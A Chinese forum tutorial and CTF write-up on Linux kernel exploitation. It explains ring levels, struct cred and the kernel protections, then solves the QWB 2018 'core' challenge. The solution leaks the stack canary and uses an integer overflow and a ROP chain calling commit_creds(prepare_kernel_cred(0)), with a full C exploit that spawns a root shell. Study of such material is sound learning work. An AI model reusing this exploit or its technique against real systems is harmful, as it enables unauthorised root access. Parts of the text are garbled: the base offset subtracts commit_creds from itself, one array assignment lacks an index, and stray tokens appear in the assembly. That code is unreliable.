原文链接：Linux内核pwn之基础rop提权
本文为看雪论坛优秀文章 看雪论坛作者ID：mb_khygdqmu 一 基础知识 1. linux kernel pwn kernel 也是一个程序，用来管理软件发出的数据 I/O 要求，将这些要求转义为指令，交给 CPU 和计算机中的其他组件处理，kernel 是现代操作系统最基本的部分。
以上便是ctf wiki原话 ，所以大家也不要太过于认为其很难，其实跟咱们用户态就是不同而已，也可能就涉及那么些底层知识罢了（师傅轻喷，我就口嗨一下）。 在学习攻击手段之前可以先看看我前面环境准备和简单驱动编写那两篇，可能对您有更大帮助。 Linux kernel环境搭建—0x00 https://www.52pojie.cn/thread-1706316-1-1.html Linux kernel环境搭建—0x01 https://www.52pojie.cn/thread-1710242-1-1.html 而kernel 最主要的功能有两点： 控制并与硬件进行交互 提供 application 能运行的环境 包括I/O，权限控制，系统调用，进程管理，内存管理等多项功能都可以归结到上边两点中。 需要注意的是，kernel 的crash 通常会引起重启。（所以咱们这点调试的时候就挺不方便的了，相比于用户态而言），不过这里也可能我刚开始学比较笨而已。 2. Ring Model(等级制度森严） （1）intel CPU 将 CPU 的特权级别分为 4 个级别：Ring 0, Ring 1, Ring 2, Ring 3。 （2）Ring0 只给 OS 使用，Ring 3 所有程序都可以使用，内层 Ring 可以随便使用外层 Ring 的资源。 （3）使用 Ring Model 是为了提升系统安全性，例如某个间谍软件作为一个在 Ring 3 运行的用户程序，在不通知用户的时候打开摄像头会被阻止，因为访问硬件需要使用 being 驱动程序保留的 Ring 1 的方法。 注意大多数的现代操作系统只使用了 Ring 0 和 Ring 3。 3. syscall 也就是系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口，部分库函数（如scanf，puts 等 IO 相关的函数实际上是对系统调用的封装（read 和 write））。 4. 状态转换 user space to kernel space 当发生 系统调用，产生异常，外设产生中断等事件时，会发生用户态到内核态的切换，具体的过程为： （1）通过swapgs切换 GS 段寄存器，将 GS 寄存器值和一个特定位置的值进行交换，目的是保存 GS 值，同时将该位置的值作为内核执行时的 GS 值使用。 （2）将当前栈顶（用户空间栈顶）记录在 CPU 独占变量区域里，将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。（这里我在调试的时候发现没整rbp，我最开始就发现这里怎么只保存了rsp，这个问题暂时还不是很了解） （3）通过 push 保存各寄存器值，具体的代码如下: ENTRY(entry_SYSCALL_64) /* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */ SWAPGS_UNSAFE_STACK /* 保存栈值，并设置内核栈 */ movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp /* 通过push保存寄存器值，形成一个pt_regs结构 */ /* Construct struct pt_regs on stack */ pushq $ __USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx tuichu /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */ （4）通过汇编指令判断是否为 x32_abi。 （5）通过系统调用号，跳到全局变量 sys_call_table 相应位置继续执行系统调用。 这里再给出保存栈的结构示意图，这里我就引用下别的师傅的图了。注意这是保存在内核栈中： 5. kernel space to user space 退出时，流程如下： （1）通过 swapgs 恢复 GS 值 （2）通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息（CS, eflags/rflags, esp/rsp 等） 6. struct cred 咱们要管理进程的权限，那么内核必定会维护一些数据结构来保存，他是用 cred 结构体记录的，每个进程中都有一个 cred 结构，这个结构保存了该进程的权限等信息（uid，gid 等），如果能修改某个进程的 cred，那么也就修改了这个进程的权限。 下面就是cred的数据结构源码： struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ } __randomize_layout; 基础知识介绍完毕，咱们开始介绍咱们内核pwn的最主要的目的。 二 目的 借用arttnba3师傅的原话：“毫无疑问，对于内核漏洞进行利用，并最终提权到 root，在黑客界是一种最为 old school 的美学。 咱们在内核pwn中，最重要以及最广泛的那就是提权了，其他诸如dos攻击等也行，但是主要是把人家服务器搞崩之类的，并没有提权来的高效。 1. 提权(Elevation of authority) 所谓提权，直译也即提升权限，是在咱们已经在得到一个shell之后，咱们进行深入攻击的操作，那么请问如何得到一个shell呢，那就请大伙好好学习用户模式下的pwn吧。 而与提权息息相关的那不外乎两个函数，不过咱们先不揭晓他们，咱们先介绍一个结构体：在内核中使用结构体 task_struct 表示一个进程，该结构体定义于内核源码include/linux/sched.h中，代码比较长就不在这里贴出了。 一个进程描述符的结构应当如下图所示： 注意到task_struct的源码中有如下代码： /* Process credentials: */ /* Tracer's credentials at attach: */ const struct cred __rcu *ptracer_cred; /* Objective and real subjective task credentials (COW): */ const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; 看到熟悉的字眼没，对，那就是cred结构体指针。前面我们讲到，一个进程的权限是由位于内核空间的cred结构体进行管理的，那么我们不难想到：只要改变一个进程的cred结构体，就能改变其执行权限。 在内核空间有如下两个函数，都位于kernel/cred.c中： struct cred* prepare_kernel_cred(struct task_struct* daemon)：该函数用以拷贝一个进程的cred结构体，并返回一个新的cred结构体，需要注意的是daemon参数应为有效的进程描述符地址或NULL,如果传入NULL,则会返回一个root权限的cred int commit_creds(struct cred *new)：该函数用以将一个新的cred结构体应用到进程。所以我们最重要的目的是类似于用户态下调用system("/bin/sh")一样,咱们内核态就需要调用commit_creds(prepare_kernel_cred(NULL))即可达成提权功能！ 这里我们也可以看到prepare_kernel_cred()函数源码： struct cred *prepare_kernel_cred(struct task_struct *daemon) { const struct cred *old; struct cred *new; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_kernel_cred() alloc %p", new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred); 三 保护措施 1. KASLR 与用户态ASLR类似，在开启了 KASLR 的内核中，内核的代码段基地址等地址会整体偏移。 2. FGKASLR KASLR 虽然在一定程度上能够缓解攻击，但是若是攻击者通过一些信息泄露漏洞获取到内核中的某个地址，仍能够直接得知内核加载地址偏移从而得知整个内核地址布局，因此有研究者基于 KASLR 实现了 FGKASLR，以函数粒度重新排布内核代码。 3. STACK PROTECTOR 类似于用户态程序的 canary，通常又被称作是 stack cookie，用以检测是否发生内核堆栈溢出，若是发生内核堆栈溢出则会产生 kernel panic 内核中的 canary 的值通常取自 gs 段寄存器某个固定偏移处的值。 4. SMAP/SMEP SMAP即管理模式访问保护（Supervisor Mode Access Prevention），SMEP即管理模式执行保护（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止内核空间直接访问/执行用户空间的数据，完全地将内核空间与用户空间相分隔开，用以防范ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击。 SMEP保护的绕过有以下两种方式： 利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir； Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护（1为开启，0为关闭），若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护，完成SMEP-bypass，接下来就能够重新进行 ret2usr，但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式。 四 环境利用 首先咱们拿到个ctf题目之后，咱们一般是先解包，会发现有这些个文件： 1.baby.ko baby.ko是包含漏洞的程序，一般使用ida打开分析,可以根据init文件的路径去rootfs.cpio里面找。 2.bzImage bzImage是打包的内核代码，一般通过它抽取出vmlinx,寻找gadget也是在这里。 3.initramfs.cpio initramfs.cpio是内核采用的文件系统。 4.startvm.sh startvm.sh是启动QEMU的脚本 5.vmlinux 静态编译，未压缩的内核文件，可以在里面找ROP 6.init文件 在rootfs.cpio文件解压可以看到，记录了系统初始化时的操作，一般在文件里insmod一个内核模块.ko文件，通常是有漏洞的文件 7..ko文件：需要拖到IDA里面分析找漏洞的文件，也即一般的漏洞出现的文件 --- 之后咱们可以利用rootfs.cpio解压的文件中看到init脚本，此即为加载文件系统的脚本，在一般为boot.sh或start.sh脚本中也记录了qemu的启动参数 如何将exp送入本地调试 我的办法比较笨，那就是本地编译然后放到文件系统里面在压缩为cpio，这样再启动虚拟机的时候就会重新加载这个文件系统了。 五 题目实战 一道十分基础的内核pwn入门题。 例题：强网杯2018 - core 1.反编译代码分析 文件里面包含了这几个文件 bzImage,core.cpio,start.sh,vmlinux 先看看start.sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ 可以看到咱们这儿题目采用了kaslr ，有地址随机，所以咱们需要泄露地址，大致思路和用户态一致。这里还注意那就是从ctfwiki上面下载下来的题目是-m 64M,这里会出现运行不了虚拟机的情况，所以咱们改为128M即可，这是内存大小的定义，太小了跑不动。 之后咱们再看看文件系统解压后得到的init脚本： #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mv exp.c / mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko #setsid /bin/cttyhack setuidgid 0 /bin/sh poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f 从中我们可以看到文件系统中insmod了一个core.ko，一般来讲这就是漏洞函数了，还有咱们可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh这一句来使得我们进入虚拟机的时候就是root权限，大伙不必惊慌，这里是因为咱们是再本地需要进行调试，所以init脚本任我们改，start脚本也是，咱们可以直接把kalsr关了也行，但关了并不代表咱们不管，咱们这一举动主要是为了方便调试的，最终打远程还是人家说了算，咱们值有一个exp能提交。 接着分析init，这里还发现开始时内核符号表被复制了一份到/tmp/kalsyms中，利用这个我们可以获得内核中所有函数的地址，还有个恶心的地方那就是这里开启了定时关机，咱们可以把这给先注释掉poweroff -d 120 -f & 进入漏洞模块的分析。 这里可以看到有canary和NX，所以咱们通过ROP的话需要进行canary泄露。 接下来咱们分析相关函数init_moddule： 可以看到模块加载的初期会创建一个名为core的进程，在虚拟机中在/proc目录下。 再看看比较重要的ioctl函数： 可以看出有三个模式选择，分别点入相关函数看 " class="anchor" href="#
">
这里的read函数就是向用户指定的地址从off偏移地址写入64个字节。而从ioctl中第二个case可以看到咱们居然可以设置off，所以我们可以通过设置偏移来写入canary的值，而我们从ida中可以看到咱们的canary是位于这里。 可以知道相差对于v5相差0x40，所以咱们设置的off也是0x40 我们还可以来看看file_operations,(不秦楚的大伙可以看看我的上一篇环境搭建的文章)，可以看到他只实现了write，ioctl，release的系统调用： 我们再来看看其他函数，先看core_write： 这里可以知道他总共可以向name这个地址写入0x800个字节，心动 我们再来看看ioctl中第三个选项的core_copy_func： 发现他可以从name上面拷贝数据到达栈上，然后这个判断存在着整形溢出，这里如果咱传个负数就可以达成效果了。 1. Kernel ROP 既然咱们可以在栈上做手脚，那么我们就可以利用ROP的方式了，首先找几个gadget，这里的gadget是需要在vmlinux中寻找，我的推荐是用： objdump -d ./vmlinux > ropgadget \ cat ropgadget | grep "pop rdi; ret" 这样的类型进行寻找[/md] 1.寻找gadget 如图：对于上面所说的比较关键的两个函数commit_creds以及prepare_kernel_cred,我们在vmlinux中去寻找他所加载的的地址 然后我们可以看看ropgadget文件。 从中咱们可以看到其中即我们所需要的gadget(实际上就是linux内核镜像所使用的汇编代码)，此时我们再通过linux自带的grep进行搜索，个人认为还是比较好用的，用ropgadget或者是ropper来说都可以，看各位师傅的喜好来.具体使用情况如下： 以此手法获得两个主要函数的地址后，此刻若咱们在exp中获得这两个函数的实际地址，然后将两者相减即可得到KASLR的偏移地址。 自此咱们继续搜索别的gadget，我们此刻需要的gadget共有如下几个： swapgs; popfq; ret; mov rdi, rax; call rdx; pop rdx; ret; pop rdi; ret; pop rcx; ret; iretq 师傅们可以用上述方法自行寻找。 2. 自行构造返回状态 虽然咱们的提权是在内核态当中，但我们最终还是需要返回用户态来得到一个root权限的shell，所以当我们进行栈溢出rop之后还需要利用swapgs等保存在内核栈上的寄存器值返回到应得的位置，但是如何保证返回的时候不出错呢？ 那就只能在调用内核态的时候将即将保存的正确的寄存器值先保存在咱们自己申请的值里面，这样就方便咱们在rop链结尾填入他们实现返回不报错。既然涉及到了保存值，那我们就需要内嵌汇编代码来实现此功能，代码如下，这也可以视为一个通用代码： size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0; // file pointer of process 'core' void saveStatus(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m Status has been saved . \033[0m"); } 大伙学到了内核pwn，那汇编功底自然不必说，我就不解释这段代码功能了。 3. 攻击思路 现在开始咱们的攻击思路思考，在上面介绍各个函数的时候我也稍微讲了点，我们所做的事主要如下： 利用ioctl中的选项2.修改off为0x40 利用core_read,也就是ioctl中的选项1,可将局部变量v5的off偏移地址打印,经过调试可发现这里即为canary 当咱们打印了canary,现在即可进行栈溢出攻击了,但是溢出哪个栈呢,我们发现ioctl的第三个选项中调用的函数 core_copy_func,会将bss段上的name输入在栈上,输入的字节数取决于咱们传入的数字,并且此时他又整型溢出漏洞,好,就决定冤大头是他了 core.ko 所实现的系统调用write可以发现其中可以将我们传入的值写到bss段中的name上面,天助我也,所以咱们就可以在上面适当的构造rop链进行栈溢出了 大伙看到这里是不是觉得有点奇怪，刚才不是说要泄露地址码，这兄弟是不是讲错了，就这？大家不要慌，我这正要讲解，从上面的init脚本中我们可以看到这一句： cat /proc/kallsyms > /tmp/kallsyms 其中 /proc/kallsyms中包含了内核中所有用到的符号表,而处于用户态的我们是不能访问的，所以出题人贴心的将他输出到了/tmp/kallsyms中，这就使得我们在用户态也依然可以访问了，所以我们还得在exp中写一个文件遍历的功能，当然这对于学过系统编程的同学并不在话下。 这里贴出代码给大伙先看看 void get_function_address(){ FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address. if(sym_table == NULL){ printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m"); exit(1); } size_t addr = 0; char type[0x10]; char func_name[0x50]; // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end. while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){ if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly. return; if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found commit_creds = addr; printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds); }else if(!strcmp(func_name, "prepare_kernel_cred")){ prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred); } } } 当知道exp思路之后,其他的一切就简单起来,只需要看懂他然后实现即可。 4. gbb调试qemu中内核基本方法 众所周知,调试在pwn中是十分重要的，特别是动调，所以这里介绍下gdb调试内核的方法。 由于咱们的内核是跑在qemu中，所以我们gdb需要用到远程调试的方法,但是如果直接连端口的话会出现没符号表不方便调试的，所以我们需要自行导入内核模块,也就是文件提供的vmlinux，之后由于咱们还需要core.ko的符号表，所以咱们也可以通过自行导入来获得可以，通过 add-symbol-file core.ko textaddr 加载，而这里的textaddr即为core.ko的.text段地址，我们可以通过修改init中为root权限进行设置。 这里.text 段的地址可以通过 /sys/modules/core/section/.text 来查看， 这里强烈建议大伙先关kaslr(通过在启动脚本修改,就是将kaslr改为nokaslr)再进行调试，效果图如下： 我们可以通过-gdb tcp:port或者 -s来开启调试端口，start.sh 中已经有了 -s，不必再自己设置。(对了如果-s ,他的功能等同于-gdb tcp:1234) 在我们获得.text基地址后记得用脚本来开gdb,不然每次都要输入这么些个东西太麻烦了，脚本如下十分简单： #!/bin/bash gdb -q \ -ex "" \ -ex "file ./vmlinux" \ -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \ -ex "b core_copy_func" \ -ex "target remote localhost:1234" \ 其中打断点可以先打在core_read，这里打在core_copy_func是我调到尾声修改的。这里还注意一个点，就是当采用pwndbg的时侯需要root权限才可以进行调试不然会出现以下错误： 最开始气死我了，人家peda都不要root，但是最开始不清楚为什么会错，我还以为是版本问题，但想到这是我最近刚配的一台机子又应该不是，其实最开始看到permission就该想到的。 我们用root权限进行开调： 可以看到十分的成功，此刻我continue，还记得咱们下的断电码，b core_read,如果咱们调用它后咱们就会在这里停下来，此刻我们运行咱们的程序试试： 这样咱们就可以愉快的进行调试啦,至此gdb调试内核基本方法到此结束~~~ 5. ROP链解析 这里简单讲讲，直接给图： 相信大家理解起来不费力。 6. exp 本次exp如下，大伙看看： #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sys/types.h> #include <sys/ioctl.h> size_t commit_creds = NULL, prepare_kernel_cred = NULL; // address of to key function #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RDI_RET 0xffffffff81000b2f #define POP_RCX_RET 0xffffffff81021e53 #define IRETQ 0xffffffff81050ac2 size_t user_cs, user_ss,user_rflags,user_sp; //int fd = 0; // file pointer of process 'core' /*void saveStatus(); void get_function_address(); #void core_read(int fd, char* buf); void change_off(int fd, long long off); void core_copy_func(int fd, long long nbytes); void print_binary(char* buf, int length); void shell(); */ void saveStatus(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m Status has been saved . \033[0m"); } void core_read(int fd, char *addr){ printf("try read\n"); ioctl(fd,0x6677889B,addr); printf("read done!"); } void change_off(int fd, long long off){ printf("try set off \n"); ioctl(fd,0x6677889C,off); } void core_copy_func(int fd, long long nbytes){ puts("try cp\n"); ioctl(fd,0x6677889A,nbytes); } void get_function_address(){ FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address. if(sym_table == NULL){ printf("\033[31m\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\n\033[0m"); exit(1); } size_t addr = 0; char type[0x10]; char func_name[0x50]; // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end. while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){ if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly. return; if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found commit_creds = addr; printf("\033[32m\033[1m[+] Note: Address of function \"commit_creds\" found: \033[0m%#llx\n", commit_creds); }else if(!strcmp(func_name, "prepare_kernel_cred")){ prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \033[0m%#llx\n", prepare_kernel_cred); } } } void shell(){ if(getuid()){ printf("\033[31m\033[1m[x] Error: Failed to get root, exiting......\n\033[0m"); exit(1); } printf("\033[32m\033[1m[+] Getting the root......\033[0m\n"); system("/bin/sh"); exit(0); } int main(){ saveStatus(); int fd = open("/proc/core",2); //get the process fd if(!fd){ printf("\033[31m\033[1m[x] Error: Cannot open process \"core\"\n\033[0m"); exit(1); } char buffer[0x100] = {0}; get_function_address(); // get addresses of two key function ssize_t vmlinux = commit_creds - commit_creds; //base address printf("vmlinux_base = %x",vmlinux); //get canary size_t canary; change_off(fd,0x40); //getchar(); core_read(fd,buffer); canary = ((size_t *)buffer)[0]; printf("canary ==> %p\n",canary); //build the ROP size_t rop_chain[0x1000] ,i= 0; printf("construct the chain\n"); for(i=0; i< 10 ;i++){ rop_chain = canary; } rop_chain[i++] = POP_RDI_RET + vmlinux ; rop_chain[i++] = 0; rop_chain[i++] = prepare_kernel_cred ; //prepare_kernel_cred(0) rop_chain[i++] = POP_RDX_RET + vmlinux; rop_chain[i++] = POP_RCX_RET + vmlinux; rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux; rop_chain[i++] = commit_creds ; rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux; rop_chain[i++] = 0; rop_chain[i++] = IRETQ + vmlinux; rop_chain[i++] = (size_t)shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd,rop_chain,0x800); core_copy_func(fd,0xffffffffffff0100); } 7. 编译运行 这里有个小知识，那就是在被攻击的内核中一般不会给你库函数，所以咱们需要用gcc中的-static参数进行静态链接,然后就是为了支持内嵌汇编代码，所以我们需要使用-masm=intel，这里intel也可以换amd，看各位汇编语言用的啥来进行修改，我这里用的把保存状态代码是intel支持的。 gcc test.c -o test -static -masm=intel -g 将此编译得到的二进制文件打包近文件系统然后重新启动，情况如图： 成功提权！ 为了学这一个题目所需要的知识还是费了点功夫的，需要对于驱动等环境的理解然后就是遇到困难之后静下心寻找问题的耐心,还有最重要的一点就是细心，就因为最后一个sp错写成ss导致一直打不通。
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发表于 2023-2-2 10:14:29